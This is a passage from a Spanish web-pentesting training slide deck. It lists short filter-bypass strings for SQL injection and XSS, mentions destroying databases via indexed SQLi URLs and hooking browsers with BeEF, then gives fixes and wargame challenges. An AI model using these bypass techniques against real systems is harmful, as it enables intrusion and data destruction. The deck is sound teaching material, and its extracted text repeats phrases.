    Técnicas de Bypass Enalgunas aplicaciones que se encuentra ‘seguras’ se filtran una serie de cadenas para evitar que sese filtran una serie de cadenas para evitar que se lleven acabo ciertas técnicas como SQLi o XSS. Pero en la inmensa mayoría resulta trivial saltárselas realizando pequeñas modificaciones. Bypass de filtros en: SQL InjectionSQL Injection XSS
  • 45.
    Técnicas de Bypass(SQLi) Con estas técnicas básicas es posible saltarse la gran mayoría de filtros, debido a que únicamente buscaranmayoría de filtros, debido a que únicamente buscaran la palabra exacta y no pequeñas variaciones. Alternar May. Y Min: … uNiOn SelEcT 1,2 AND Filtrado: Sustituir AND por %26%26 OR Filtrado: Sustituir OR por ||OR Filtrado: Sustituir OR por || Uso de comentarios: … uNi/**/On Sel/**/EcT 1,2
  • 46.
    Tecnicas de Bypass(XSS) Enel caso de XSS es similar… Caracteres ‘<’ y ‘>’ filtrados: Sustituirlos por %3c y %3e (Su valor en ascii) Palabras como script filtradas: Intercalar May. y Min.Intercalar May. y Min. Uso de comentarios: <scr<--comentario-->ipt> Uso de URL Encode, etc…
  • 47.
    Curiosidades Buscadores como armade destrucción masiva: Indexar una url vulnerable a Stack Queries SQLi enIndexar una url vulnerable a Stack Queries SQLi en buscadores como Google, Bing… Lo que podría permitir que cada cierto tiempo a dicha aplicación se le borrara la DB. Troyanizacion de navegadores:Troyanizacion de navegadores: Mediante la herramienta BeEF es posible troyanizar los navegadores de todas aquellas personas que entren en una pagina vulnerable a XSS Persistente.
  • 48.
    Pruebas Explotación de Vulnerabilidades:SQL Injection Obtener información privada de la aplicación Descubrir Boolean-Base Blind SQLi Descubrir Time-Base Blind SQLi Bypass de filtro SQL Injection Lograr RFI desde SQL Injection
  • 49.
    Pruebas XSS RFI /LFI Realizar XSS Reflejado Introducir XSS Persistente con un comentario Acceso a archivos privados del serv. Utilización de una WebShell comentario Salto de filtro XSS
  • 50.
  • 51.
    Soluciones La gran mayoríade fallos vistos se podrían evitar si desde un principio se hubieran implementado medidasdesde un principio se hubieran implementado medidas de seguridad, normalmente con un correcto tratamiento de todos aquellos input es suficiente. Daremos una solución sencilla pero efectiva a los ataques vistos (SQLi, XSS, RFI/LFI) Como por ejemplo, si se espera un numero, utilizar funcionesComo por ejemplo, si se espera un numero, utilizar funciones como isint en php, evitando que se introduzca otra cosa. Aunque para asegurar realmente una aplicación a “prueba de bombas” suele ser muy efectivo un WAF.
  • 52.
    Soluciones SQL Injection: Transformar todoa ascii (evitando caracteres en hex.)Transformar todo a ascii (evitando caracteres en hex.) Utilización de funciones propias del servidor para securizar las consultas (php+mysql como mysql_real_query, etc…) Realizar un filtrado de las palabras: And, or, union, select, concat, group, from, where, sleep, etc… XSS: Utilizar funciones propias del lenguaje como: html_entitiesUtilizar funciones propias del lenguaje como: html_entities Además realizar un filtrado tanto de comentarios como de caracteres especiales. Dejar todo en minúsculas o mayúsculas.
  • 53.
    Soluciones RFI / LFI: Desactivarcaracterísticas del servidor web como:Desactivar características del servidor web como: allow_url_fopen allow_url_include Que eviten que un atacante pueda incluir archivos tanto remotos como locales. Evitar el uso de ciertas funciones como:Evitar el uso de ciertas funciones como: Include Require Require_once …
  • 54.
    Fin … Una vezhemos visto como realizar un proceso de pentest o test de intrusión completo a una aplicación web, siguiendo todas y cada una de sus fases desde la obtención de información hasta la solución de las vulnerabilidades, es hora de…solución de las vulnerabilidades, es hora de…
  • 55.
    !Aun queda lomas divertido! 5. Wargame
  • 56.
    Wargame Una vez hemosaprendido las técnicas mas utilizadas tanto por los atacantes como por loutilizadas tanto por los atacantes como por lo pentesters es hora de demostrar todo lo que sabéis. Se os pondrán una serie de retos que deberéis intentar realizar lo antes posible, quien al final sume mas puntos será el ganador asique…sume mas puntos será el ganador asique… Suerte!!
  • 57.
    Wargame Retos a realizar: ObtenerUsuarios 30 puntosObtener Usuarios 30 puntos Logearse como usuario 50 puntos Obtener datos bancarios 30 puntos Modificar datos bancarios (Ayudar a pette) 150 pts Deface sencillo de la pag. Principal 100 puntos Ejecutar comandos en el SO 75 puntosEjecutar comandos en el SO 75 puntos Lectura del fichero: C:/xampp/premio.php 20 puntos
  • 58.
    ESPERO QUE LOHAYÁIS DISFRUTADO Y APRENDIDO MUCHO DE LA FORMACIÓN. PARA MI HA SIDO UN PLACER Y YA SABÉIS QUE PARA LO QUE NECESITÉIS NO DUDÉIS EN PONEROS EN CONTACTO CONMIGO!PONEROS EN CONTACTO CONMIGO! UN SALUDO A TOD@S! GRACIAS. GRACIAS EN ESPECIAL A: ROBERTO LOPEZROBERTO LOPEZ ÁLVARO ORTIGOSA ÁLVARO GOMEZ (J0K3N) Realizada por: Eduardo Arriols